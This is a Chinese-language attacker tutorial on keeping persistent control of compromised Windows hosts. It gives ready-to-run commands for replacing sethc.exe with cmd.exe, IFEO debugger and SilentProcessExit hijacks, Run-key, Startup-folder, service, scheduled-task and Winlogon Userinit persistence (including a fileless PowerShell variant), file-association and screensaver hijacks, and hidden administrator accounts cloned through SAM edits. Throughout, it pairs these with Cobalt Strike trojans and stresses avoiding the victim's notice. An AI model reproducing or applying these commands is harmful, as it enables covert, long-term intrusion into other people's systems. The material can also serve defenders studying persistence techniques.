Windows权限维持
Windows权限维持
VVkladg0r权限维持
window权限维持
前置
当我们拿到权限以后 不可避免的会遇到目标主机可能会关机 重启 应急排查等 让我们的权限失效 这时候我们就需要进行权限维持 长久的对目标进行控制
辅助功能进行劫持
辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读),可以帮助人更轻松地使用Windows操作系统,但是此功能可能会被滥用
- 屏幕键盘: c:\windows\system32\osk.exe
- 放大镜: c:\windows\system32\Mageify.exe
- 粘滞键: c:\windows\system32\sethc.exe
- 旁白:C:\Windows\System32\Narrator.exe
- 显示切换器 C:\Windows\System32\DisplaySwitch.exe
- 应用切换器:C:\Windows\System32\AtBroker.exe
这些辅助功能说到底还是exe可执行程序
如果我们将这个可执行程序修改成我们的木马或者cmd呢
5下shift可以触发粘滞键
这意味着我们可以在未登录的情况下执行我们想执行的命令(shift后门 )
如果我们直接重命名辅助功能程序名
不行的
权限不够
如果是2008及以前的系统 我们是可以直接给他把权限改了的
可以将sethc.exe拥有者改为administrator
然后就可以执行
move C:\windows\system32\sethc.exe C:\windows\system32\sethc1.exe
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
把cmd改过来
2012及以后的就不能修改了
映像劫持(重定向劫持)
IFEO: image File Execution options
当我们双击运行程序时 系统会查询IFEO注册表 如果发现存在完全相同的子键 就会查询对应子键中包含的”debugger”键值名 如果这个键值名不为空 系统就会把debugger参数指定的程序文件来作为启动的程序
出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化 就会执行
cmd->regedit:打开注册表
在里面找到IFEO注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
这里有一个iexplore.exe
这是IE浏览器
这里没有debugger键 我们直接新建一个
先给他换成cmd吧
一旦点击IE浏览器 就会启动cmd
成功
既然能执行从cmd 就能执行我们的木马
这里我直接用CS生成木马并开监听
传上去
改debugger
上线
但是这样我们是相当于开3389打的
那么我们该怎么远程直接修改目标注册表呢
可以用这个命令
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\404.exe"
CS执行命令
已经加进来了
执行IE 有新会话上线
既然我们能劫持IE 我们就可以劫持其他程序 只要我们知道它在哪里 叫什么名字
这里我们劫持一下记事本
但是有个问题就是IEFO里没有notepad项
我们直接给他生成一个
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
这里劫持成计算器
win+r notepad
直接调用计算器
IFEO中已经多了notepad项
同样也可以改成木马
上线
但是 这同样有个问题就是 我们劫持的程序本身不能正常运行 这会引起受害者的怀疑
但是我们可以用这个命令:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
//替换shell.exe路径为木马路径reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\404.exe"
配合globalflag 既能正常打开程序又能执行木马
记事本一关 上线
同样 受害者后台会有很多木马
启动项
文件启动项
文件夹有启动项
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
在这里面上传木马 会当作启动项执行
有了
重启
上线
注册表启动项
注册表也可以
多种路径有启动项
命令也是差不多的
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "cmd" /t REG_SZ /d "c:\404.exe"
重启
上线
服务启动项
服务是系统权限 我们可以新建一个服务来开启动项
sc create pentestlab binpath= "cmd.exe /k C:\404.exe" start="auto" obj="LocalSystem"
sc start pentestlab
删除服务
sc delete "pentestlab"
没问题
CS也监听到了
重启也没问题
计划任务
有两种写法
at:xp、2003
schtasks:win7及2008
schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1
/tn 任务名字
/tr 启动运行的脚本
/sc 多久运行一次
/Create 创建新计划任务
/Delete 删除计划任务
/Query 显示计划热为奴
/Change 更改计划任务属性
/Run 按需运行计划任务
/End 中止当前正在运行的计划任务
/ShowSid 显示与计划的任务名称相应的安全标识符
/? 显示帮助信息
命令
schtasks /create /sc minute /mo 1 /tn "sd" /tr C:\404.exe /ru System
查看当前计划任务schtasks /query
删除计划任务Schtasks /delete /tn 任务名
上线
Winlogon用户登录初始化
winlogon是一个win的重要进程
在用户还没有登录之前就已经存在
和登录 密码等相关
并且这个进程 是在杀软运行之前运行的
注册表路径
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
在winlogon里面有个userinit
本身默认是这样的
我们的木马需要放在这里面
这样就可以用户还没有登录就加载
但是不能这样
因为这个系统文件非常重要 改了系统会出问题
我们要这样
逗号然后跟我们的木马
上线
命令修改文件加载上线
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\404.exe"
无文件落地:我们没有木马程序放到受害者主机上面
两种方式
- 远程加载
- powershell木马
CS用powershell监听一下
然后一样的
把木马里面的东西拿过来 跟在后面
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\userinit.exe,这里替换生成的powershell"
注册表已经改了
重启 上线
后台没有我们的木马
只要这个
文件关联
将一个类型的文件和它可以打开的程序建立一个依赖程序关系
所以一个文件可以和多个程序进行关联
assoc .txt
可以看到
txt文件关联的是txtfile
ftype txtfile
这个txtfile关联的是这个exe
我们把这个exe改成木马
那么他开txt文件就相当于开木马
改注册表
reg add "HKEY_CLASSES_ROOT\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\404.exe %1" /f
和映像劫持差不多
屏幕保护程序
屏保也是一个可执行程序
这是三个值
这是屏保的可执行程序
同理也就是加程序
逗号 然后加木马
命令也差不多
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\system32\scrnsave.scr,C:\404.exe" /f
影子用户
创建一个隐藏用户
net user test$ Aa.123456 /add
必须要加$ 不然就是普通用户
加入管理员组
net localgroup administrators test$ /add
可以看到
net user是看不到我们新建的影子用户的
计算机管理还是看得见的
那么怎么让计算机管理也看不见呢
用户克隆
本身注册表里的SAM我们是没有权限看的
改下权限
再看
有东西了
重启下注册表
找到里面有用户的注册表项
先找到要克隆的用户的f值
这里就是1f4
看到上面有1f4
这就是administrator的
导出test$
还要导出test$和administrator的注册表项(1f4和3ea)
1–>test$
2–>3ea
3—>1f4
打开23
把if4(admin)的f值替换到3ea(test$)的f值
先把隐藏用户删了
net user test$ /del
然后导入12
regedit /s 1.reg
regedit /s 2.reg
计算机管理已经看不到东西了
net也看不到
远程桌面连接
连接成且用户是administrator
reg export [导出的注册表键的完整路径] [导出到的文件的路径] [/y] reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EB C:\1.reg /y